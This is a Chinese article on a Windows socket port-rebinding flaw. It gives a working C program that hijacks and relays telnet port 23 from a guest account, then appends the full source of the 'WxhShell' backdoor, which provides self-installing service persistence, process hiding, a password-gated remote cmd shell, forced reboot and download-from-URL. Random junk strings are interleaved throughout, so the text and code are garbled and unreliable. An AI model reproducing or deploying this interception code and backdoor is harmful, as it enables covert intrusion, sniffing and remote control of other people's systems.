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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =1OAy`8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )TG0m= * LNxE-Dp saddr.sin_family = AF_INET; ]l7\Zq )u/
^aK53^ saddr.sin_addr.s_addr = htonl(INADDR_ANY); AaC1||?R NV(4wlh)y bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eEGcio}_I9 ,W8Iabi^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IBNQmVRrI TIWLp 这意味着什么?意味着可以进行如下的攻击: f%[ukMj& o]jP3
$t; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UMi`u6# VD&3%G! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?[1qC=[Z< 15T[J%7f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9AddF*B )'dH}3Ba 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
R{KIkv !v4j`A;% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~
9~\f n,:.]3v% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _AB9BQm jo3}]KC ! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pH l2!{z P^<0d'( #include zMr!WoW #include /j69NEl #include hd
;S>K/C #include ck_fEF DWORD WINAPI ClientThread(LPVOID lpParam); P(gVF|J? int main() :htq%gPex9 { O:=|b]t WORD wVersionRequested; g_U~.?Db7 DWORD ret; z>p`!-'ID WSADATA wsaData; u}LX,B-n( BOOL val; m5em<P!G SOCKADDR_IN saddr; 3)c
K*8# SOCKADDR_IN scaddr; )!}-\5F int err; MAD}Tv\S7 SOCKET s; P9TBQW2G{ SOCKET sc; ^0tf1pV2 int caddsize; O:^LQ HANDLE mt; zP h\3B DWORD tid; 3AQ>>) T~ wVersionRequested = MAKEWORD( 2, 2 ); X*9N[#wu6 err = WSAStartup( wVersionRequested, &wsaData ); $7DcQ b9 if ( err != 0 ) { $n#Bi.A
j printf("error!WSAStartup failed!\n"); 5+/b$mHZX return -1; kAB+28A } d:<H?~ saddr.sin_family = AF_INET; MjXE|3& hN_f h J //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hKZ`DB4 ,WB_C\.#XN saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vuo'"^ =p0 saddr.sin_port = htons(23); )x8;.@U if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UUMdZ+7 { 1^f.5@tV printf("error!socket failed!\n"); uJam
$V return -1; ~l*?D7[o } pjHRV[`AP val = TRUE; v]{uxlh //SO_REUSEADDR选项就是可以实现端口重绑定的 ZAX0n!db3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w0j/\XN2s { Ph#F<e(9 printf("error!setsockopt failed!\n"); G]mWaA return -1; 'LbeL1ca } 9sU+IT K4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pgd8`$(Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pPyvR;NJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q-8'?S 3 IWLBc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %`?;V;{= { ?)'
2l6 ret=GetLastError(); mo;)0Vq2l printf("error!bind failed!\n"); p>:ef<.i return -1; G=Hf&l } )b&-3$? listen(s,2); GT'7,+<?N while(1) *|k;a]HT { >^yc=mM(g3 caddsize = sizeof(scaddr); Z<ajET`) //接受连接请求 <wt$Gglk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'cAc{\) if(sc!=INVALID_SOCKET) UIf ZPf= { JS/M~8+Et mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S~k*r{?H}) if(mt==NULL) 6hM]% { hr[B^?6 printf("Thread Creat Failed!\n"); )W`SC mr] break; ',JrY) } 4N~+G ` } ,'C30 A*p CloseHandle(mt); p`:*mf } $Eio$TI closesocket(s); \6lh `U WSACleanup(); xEVLE,*?> return 0; ^KkRF": } 8VP"ydg-U DWORD WINAPI ClientThread(LPVOID lpParam) ?L@@;tt { WDEe$k4. SOCKET ss = (SOCKET)lpParam; e2k4[V SOCKET sc; 79SqYe=&uy unsigned char buf[4096]; \9] I#Ih}M SOCKADDR_IN saddr; X%GD0h]X# long num; \T`["< DWORD val; .73zik DWORD ret; &:c:9w //如果是隐藏端口应用的话,可以在此处加一些判断 b4Cfd?' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 o3n3URu\ saddr.sin_family = AF_INET; g/8.W saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )RwBg8 saddr.sin_port = htons(23); Y5ogi) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iW|s|1mh3 { JBR[;
zM printf("error!socket failed!\n"); {J~(#i
k
return -1; g ?afX1Sg } /
l".}S val = 100; a-]hW=[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K1T1@ j { e(yQKwVD ret = GetLastError(); 1$$37?FE return -1; {ITv&5?> } W.A1m4l58R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~{L.f94N { -@''[m .* ret = GetLastError(); =-$!:W~ return -1; ^
<qrM } CQdBf3q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tTotPPZf} { UvkJ?Bu printf("error!socket connect failed!\n"); 1GtOA3,~;- closesocket(sc); 07x=`7hs} closesocket(ss); "~u_\STn < return -1; h|bqyu } T8n-u b< while(1) 24| { T H|?X0b //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S|"Fgoj r //如果是嗅探内容的话,可以再此处进行内容分析和记录 fNkuX-om //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C"6Amnj num = recv(ss,buf,4096,0); Bvz62? if(num>0) Wk@
eV\H71 send(sc,buf,num,0); BlXX:aZv else if(num==0) /7bw: h; break; AD^X(rW num = recv(sc,buf,4096,0); coDjL.u if(num>0) KNy`Lj)VPY send(ss,buf,num,0); Hu[]h] else if(num==0) 3bWum break; RfKc{V } `f@{Vcr%i closesocket(ss); HOE2*4r closesocket(sc); ibvJWg return 0 ; {G]?{c)" } lDo(@nM bA9CO\Pp` $^t<9"t ========================================================== ,Ij=b #wF1 下边附上一个代码,,WXhSHELL O -G1})$ TWUUvj`. ========================================================== )S^z+3p Q6=MS>JW]w #include "stdafx.h" R1}IeeZO?& sltk@ #include <stdio.h> 5^yG2&># #include <string.h> K<FKu $= #include <windows.h> )o{VmXe@@ #include <winsock2.h> uJgI<l'|e3 #include <winsvc.h> LZ{YmD&6] #include <urlmon.h> `)6>nPr7P ?cJY
B) #pragma comment (lib, "Ws2_32.lib") ~z5@V5z #pragma comment (lib, "urlmon.lib") 80Ag Y)|~:& tZ #define MAX_USER 100 // 最大客户端连接数 <yZP|_ #define BUF_SOCK 200 // sock buffer [g#s&bF #define KEY_BUFF 255 // 输入 buffer sxo;/~.p + 3h`UF #define REBOOT 0 // 重启 "%VbI P #define SHUTDOWN 1 // 关机 [[w2p eK'wVg# #define DEF_PORT 5000 // 监听端口 NCi>S%pD`< 0Q'v HZ" #define REG_LEN 16 // 注册表键长度 &
1[y"S #define SVC_LEN 80 // NT服务名长度 tw=K&/@^O x=.tiM {# // 从dll定义API S_2"7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (#$$nQj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F"'n4|q4n typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `fz,Lh*v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =`-|& =+<d1W`>0 // wxhshell配置信息 (3VGaUlx struct WSCFG { ),=@q+{E{ int ws_port; // 监听端口 1Y#HcW& char ws_passstr[REG_LEN]; // 口令 ACb/ITu int ws_autoins; // 安装标记, 1=yes 0=no B oqJ
char ws_regname[REG_LEN]; // 注册表键名 bj}=8k0 char ws_svcname[REG_LEN]; // 服务名 Vv8_\^g] char ws_svcdisp[SVC_LEN]; // 服务显示名 /PXioiGcs char ws_svcdesc[SVC_LEN]; // 服务描述信息 zie=2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <W*xshn int ws_downexe; // 下载执行标记, 1=yes 0=no 2U}m RgJu char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" yyP'Z~0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j$vK<SF \5~;MI.Sq }; $o.Kn9\ M;KA]fmc // default Wxhshell configuration o2aM#Q
struct WSCFG wscfg={DEF_PORT, 94Ud@F9d5 "xuhuanlingzhe", H8f]} 1, KXf<$\+zO "Wxhshell", ^O)ve^P "Wxhshell", JB^Q\;$ "WxhShell Service", ^P?vkO"pB? "Wrsky Windows CmdShell Service", WS:5MI,OL "Please Input Your Password: ", W`rMtzL5 1, ^,TTwLy-t " http://www.wrsky.com/wxhshell.exe", R- "Wxhshell.exe" =1Z;Ma<; }; +{$QAjW(/ \3zp)J // 消息定义模块 vX;HC'%n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8gC)5Y char *msg_ws_prompt="\n\r? for help\n\r#>"; Hm
fXe char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; wzh]97b char *msg_ws_ext="\n\rExit."; >.<ooWw char *msg_ws_end="\n\rQuit."; YTQps&mD. char *msg_ws_boot="\n\rReboot..."; -Wc~B3E| char *msg_ws_poff="\n\rShutdown..."; _6MdF<Xb/ char *msg_ws_down="\n\rSave to "; .et ^4V3 KzphNHd char *msg_ws_err="\n\rErr!"; ``u:lL char *msg_ws_ok="\n\rOK!"; DI1(`y __I/F6{ 9V char ExeFile[MAX_PATH]; J[@um: int nUser = 0; 3F+Jdr' HANDLE handles[MAX_USER]; cSK&[>i)4 int OsIsNt; 0y~<%`~ ,O]l~)sr| SERVICE_STATUS serviceStatus; ,%W<O. SERVICE_STATUS_HANDLE hServiceStatusHandle; XV>&F{ inAAgW#s} // 函数声明 =P`~t<ajB int Install(void); \:v$ZEDJ> int Uninstall(void); 7NL%$Vf int DownloadFile(char *sURL, SOCKET wsh); %}&(h/= e int Boot(int flag); S&(^<gwl void HideProc(void); <&<,l58[c int GetOsVer(void); [ohBPQO int Wxhshell(SOCKET wsl); \.#p_U5In void TalkWithClient(void *cs); " xR[mJ@U int CmdShell(SOCKET sock); 1ibnx2^YB int StartFromService(void); <7XT\?%F int StartWxhshell(LPSTR lpCmdLine); ,*Z. HjA_g0u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (qBvoLkF9N VOID WINAPI NTServiceHandler( DWORD fdwControl ); ys'T~Cs @I-Lv5 // 数据结构和表定义 v,OpTu:1 SERVICE_TABLE_ENTRY DispatchTable[] = QA;!caNp { Tycq1i^ {wscfg.ws_svcname, NTServiceMain}, W3rl^M=r {NULL, NULL}
eZL MP }; o''wCr% iY0>lDFm. // 自我安装 ^"i~DC int Install(void) wX,F`e3"/ { +fNvNbtA char svExeFile[MAX_PATH]; 'dJ/RJ~ HKEY key; X!tf#tl strcpy(svExeFile,ExeFile); wRtZ`o / i_ @ // 如果是win9x系统,修改注册表设为自启动 ,v9f~qh if(!OsIsNt) { 7N=-Y>$X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &dR=?bz-A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iv&v8;B RegCloseKey(key); q,%:h`t\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? _g1*@pA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hhI)' $ RegCloseKey(key); jrMe G.e=D return 0; }uY!(4Rw } VDbI-P&c } p$E8Bn%[ } }
JiSmi6o else { qO@@8/l bKDA!R2 // 如果是NT以上系统,安装为系统服务 57,dw-|xi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nFRsc'VT if (schSCManager!=0) Anm=*;*M` { %|"g/2sF[G SC_HANDLE schService = CreateService k\`S
lb1 ( NbRn*nb/T schSCManager, *G5c |Y wscfg.ws_svcname, 1.U`D\7mb wscfg.ws_svcdisp, Ts$@s^S] SERVICE_ALL_ACCESS, E=]4ctK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [KJ
q SERVICE_AUTO_START, q,>?QBct* SERVICE_ERROR_NORMAL, YDC&u8 svExeFile, gI]GUD- NULL, qe$^q NULL, :G5uocVk NULL, \e3`/D NULL, ^:=f^N=^ NULL %G3(,Qz ); je/!{( if (schService!=0) ;]sYf { ``U^COD CloseServiceHandle(schService); mLk(y* CloseServiceHandle(schSCManager); >rsqH+oL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !g!5_| strcat(svExeFile,wscfg.ws_svcname); 0k,-; j, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 790-)\:CY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2";SJF'5\ RegCloseKey(key); a2 +~;{?g return 0; J% H;%ROx } (la[KqqCO } U_G gCI) CloseServiceHandle(schSCManager); R(Kk{c:-@ } IiBD?} } q`NXJf=sc ~]C%/gEh return 1; e4>"92hX } p>v U?eF Vr[czfROz' // 自我卸载 _nh[(F<hz int Uninstall(void) yp.[HMRD { kX`[Y@nUN HKEY key; j=?'4sF SMH<'F7i if(!OsIsNt) { M=qb^~ l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 rs&74- RegDeleteValue(key,wscfg.ws_regname); DV)3 RegCloseKey(key); EZ;"'4;W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :#k &\f-Y RegDeleteValue(key,wscfg.ws_regname); ]i<[d, RegCloseKey(key); #|GSQJ$F)` return 0; e= vsuqGT } eB>s=}| } gKz(= } $d S@y+ else { %UUH" 9^Fz iM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5irwz4.4 if (schSCManager!=0) QqNW}:# { c9qR'2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $$APgj"|< if (schService!=0)
HB+|WW t> { EtbnE*S if(DeleteService(schService)!=0) { xL|;VyD CloseServiceHandle(schService); S"Lx% CloseServiceHandle(schSCManager); j>uj=B@ return 0; osARA3\Xt } tZ`Ts}\e CloseServiceHandle(schService); xv{O^Ie+S } Yim<>. ! CloseServiceHandle(schSCManager); >_OYhgs1w } 7>iU1zy } E%oY7.~-
j~j jX return 1; -=s(l.?Hm5 } O,aS`u & 2{-ZD ,(u7 // 从指定url下载文件 I&n int DownloadFile(char *sURL, SOCKET wsh) X@@8"@/u|* { y Rp"jcD HRESULT hr; 98=wnWX6$ char seps[]= "/"; H ]4Hj char *token; -7J| l char *file; ^7zu<lX char myURL[MAX_PATH]; }Sy=My89r char myFILE[MAX_PATH]; n
-( Hbv6_H strcpy(myURL,sURL); qW:HNEiir token=strtok(myURL,seps); kmzH'wktt while(token!=NULL) ARcB'z\r { ;XM{o:1Y[ file=token; F}Vr:~ token=strtok(NULL,seps); 2'=T[<nNB } s3 7'&K Z{&cuo.@<] GetCurrentDirectory(MAX_PATH,myFILE); s0Z
uWVip strcat(myFILE, "\\"); X7k.zlH7T strcat(myFILE, file); @(r/dZc send(wsh,myFILE,strlen(myFILE),0); hI9 send(wsh,"...",3,0); __mF?m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BIuK @$ if(hr==S_OK) \%UkSO\nO3 return 0; V#VN%{ else UAoh`6vFF8 return 1; )K &( %HrAzM.QBF } ;M"9$M' N F)~W# // 系统电源模块 :y7c k/> int Boot(int flag) w$JvB5O { H":oNpfb HANDLE hToken; 3R+|5Uq8~ TOKEN_PRIVILEGES tkp; 2-Y<4'> D!7`CH+ if(OsIsNt) { 8M!:N(a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (5]}5W* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <b,~:9*? tkp.PrivilegeCount = 1; oudxm[/U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [eTSZjIN7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m2AnXY\ if(flag==REBOOT) { 8WnwQ%;m? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L3CP`cx return 0; ZP{*.]Qu } '7O3/GDK else { vVOh3{e| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '],J$ge return 0; @S|XGf } 1GzAG;UUo6 } ,v"YqD+GC5 else { 6Ybg^0m if(flag==REBOOT) { T=ev[ mS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W6Y]N/v3> return 0; yPq'( PV } AK@9?_D else { /Rl6g9} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3Z1CWzq( return 0; p5G?N(l } S]+:{9d } K6R.@BMN 41&\mx
return 1; p,#o<W } ob8qe,_' =?!wXOg_ // win9x进程隐藏模块 ;+ "+3 void HideProc(void) \ Yx/(e { F w?[lS `nu''B
H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ofs<EQ if ( hKernel != NULL ) $< JaLS { 9 AJ(&qY( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <7~'; K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A}l3cP;
`# FreeLibrary(hKernel); WPQ fhr#| } q.;u?,|E/ s7F.sg return; 4t=G
}
PUUwv_ B6={&7U2 // 获取操作系统版本 u A<n int GetOsVer(void) ez|)ph7 { ]9^sa-8 OSVERSIONINFO winfo; ~sh`r{0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?32&]iM
oW GetVersionEx(&winfo); }~L.qG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E 7{U|\ return 1; H*}y^)x else ~A\GT$ return 0; ;0Tx-8l } y+NN< EY@ `x*Pof!Io // 客户端句柄模块 [TmIVQ!B int Wxhshell(SOCKET wsl) c24dSNJg, { U>Slc08N SOCKET wsh; Qnsi`1mASr struct sockaddr_in client; iUN Ib DWORD myID; F'21jy& BI%$c~wS while(nUser<MAX_USER) H:V2[y8\ { JJN.ugT}1 int nSize=sizeof(client); a!v1M2> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZpQ)IHA. if(wsh==INVALID_SOCKET) return 1; cPlZXf ]Gsv0Xk1 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;{N!Eb`S if(handles[nUser]==0) fumm<:<CLO closesocket(wsh); U2W|:~KM else yd
d7I&$ nUser++; \XZ/v*d0
} ds<2I,t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ``hf=`We ~x1$h#Cx' return 0; Q ~#Wf? } .(cw>7e3D R\!2l|_ // 关闭 socket m+]K;}.}R void CloseIt(SOCKET wsh) Fj2BnM3# { ,?^ p(w closesocket(wsh); ,s"^kFl nUser--; N2;B-U F
7 ExitThread(0);
f6&iy$@ } 0Qf,@^zL* sBT2j~jhJ // 客户端请求句柄 [M=7M}f; void TalkWithClient(void *cs) ig/xv { cK( C&NK z7fp#>uw SOCKET wsh=(SOCKET)cs; Jdj2~pTq char pwd[SVC_LEN]; I&x=; char cmd[KEY_BUFF]; 3YR!Mq$|~ char chr[1]; 0AL=S$B) int i,j; ivJ@=pd)B |v3T! while (nUser < MAX_USER) { v dc\R? gCB |DY if(wscfg.ws_passstr) { x??+~$}\*- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sw ig;` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B|C2lu //ZeroMemory(pwd,KEY_BUFF); c(xrP/yOwi i=0; Ng2twfSl$ while(i<SVC_LEN) { \@c,3 52Z2]T
c, // 设置超时 Yg||{ fd_set FdRead; &]|?o_p3W struct timeval TimeOut;
iu=7O FD_ZERO(&FdRead); :(P9mt FD_SET(wsh,&FdRead); 8e1UmM[ TimeOut.tv_sec=8; KPKt^C TimeOut.tv_usec=0; 3u+T~g0^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U:0mp" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {k
TEHe p>v$FiV2N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3M[!N pwd =chr[0]; s+$ Q}|?u if(chr[0]==0xd || chr[0]==0xa) {
dy%;W% pwd=0; ; F"g$_D0 break; *&^Pj%DX } B"1c i++; Bq%Jh } rr],DGg+B] 0d)M\lG // 如果是非法用户,关闭 socket IL#"~D? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wDal5GJp } l[0RgO*S 2lH& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nS }<-s send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fo5FNNiID {HltvO%8 while(1) { XpB_N{v9w pP&7rRhw ZeroMemory(cmd,KEY_BUFF); Qb-M6ihcc ;"5&b!=t // 自动支持客户端 telnet标准 l*(8i ^ j=0; M2,l7
while(j<KEY_BUFF) { NX*Q F+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %S960 cmd[j]=chr[0]; ZB=
E}]v6 if(chr[0]==0xa || chr[0]==0xd) { [Kg+^N%+ cmd[j]=0; %}SrL* break; qd ~BnR$= } ;#W2|'HD j++; p_gm3Q } AUG#_HE]k c<:-T // 下载文件 t6"%3#s if(strstr(cmd,"http://")) { r=
`Jn6@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); we//|fA< if(DownloadFile(cmd,wsh)) $f
<(NM6? send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]nn98y+ else !Iy_UfW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V(I8=rVH } $Vg>I>i else { EU/C@B2*Dl C_}]`[ switch(cmd[0]) { J5K^^RUR @1roe
G // 帮助 pK>N-/?a case '?': { XJ;57n-? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X]TG<r break; O3,jg|, } yLvDMPj // 安装 < `=j^LU case 'i': { UERLtSQ if(Install()) JX;<F~{. send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0*3R=7_},o else gh]cXuph send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]m3HF& break; AofKw } I5p?
[ // 卸载 R`qFg/S case 'r': { Qz1E 2yJ if(Uninstall()) PO:{t send(wsh,msg_ws_err,strlen(msg_ws_err),0); UcHJR"M~c else R B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |mfvr*7 break; -$ls(oot } 4SxX3Fw // 显示 wxhshell 所在路径 q"lSZ;
'E case 'p': { <dtGK~_ char svExeFile[MAX_PATH]; +5*95-;0 strcpy(svExeFile,"\n\r"); >1Ibc=}g strcat(svExeFile,ExeFile); )D7m,Wi+ send(wsh,svExeFile,strlen(svExeFile),0); D%pF;XY break; L,/%f<wd } D;*SnU(9L // 重启 iOghb*aW case 'b': { Rr]Hy^w send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d7;um<%zn if(Boot(REBOOT)) Se}c[|8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); zY{A'<\O else { jvL[
JI,b closesocket(wsh); Ynj,pl ExitThread(0); =&]g "a' } rglXs break; b2Fe<~S{ } K($Npuu] // 关机 6<QQ@5_ case 'd': { r#p9x[f<Y send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +~$ ]}% if(Boot(SHUTDOWN)) EW OVx*l send(wsh,msg_ws_err,strlen(msg_ws_err),0); sY&IquK^ else { B~ GbF*j closesocket(wsh); .*Y ExitThread(0); *i%.;Z" } 5|s\*bV` break; kbQ>a5`,x } #=A)XlZMd // 获取shell L L~%f
&_ case 's': { AQvudx)@" CmdShell(wsh); :g0zT[f closesocket(wsh); uo8YP<q ExitThread(0); jV1.Yz(` break; EV%gF } wlqksG[B // 退出 \ Gvm9M case 'x': {
cdT7
@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .Yn_*L+4* CloseIt(wsh); eq;uO6[ break; Bj;'qB>3 } {4Cmu;u // 离开 'zTLl8P case 'q': { '-~~-}= sJ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1>h]{%I closesocket(wsh); u&7[n_ WSACleanup(); zRr*7G exit(1); }Zn} break; aX'*pK/- } sDlO# } %P|/A+Mg" } Z@!+v19^ mz0X3 // 提示信息 hRhe& ,v if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YN F k } <PH#[dH } htF] W|z `M8i92V\qY return; ^u ~Q/4 } .#8 JCY @*((1(q // shell模块句柄 1oGw4kD^x int CmdShell(SOCKET sock) 8<Av@9 *} { <0!):zraS STARTUPINFO si; W/h[A3 `3N ZeroMemory(&si,sizeof(si)); E:nF$#<'N si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NC(~l si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zQd
2 PROCESS_INFORMATION ProcessInfo; 64tvP^kp char cmdline[]="cmd"; k5pN CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %*}(}~ return 0; 2\{zmc}G-0 } uKHxe~ M8(t'jN // 自身启动模式 4H&+dRI" int StartFromService(void) eng'X-x { "^%cJAnLX typedef struct jNk%OrP] { L4nYXW0y DWORD ExitStatus; VMWf>ZU DWORD PebBaseAddress; pW3^X=6 DWORD AffinityMask; 4,DeHJjAlE DWORD BasePriority; +CNv l ULONG UniqueProcessId; ( a#BV}= ULONG InheritedFromUniqueProcessId; v.qrz"98- } PROCESS_BASIC_INFORMATION; &tj!*k' 4.t-i5 PROCNTQSIP NtQueryInformationProcess; ^ [@, /%^#8<=|U static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4Fr
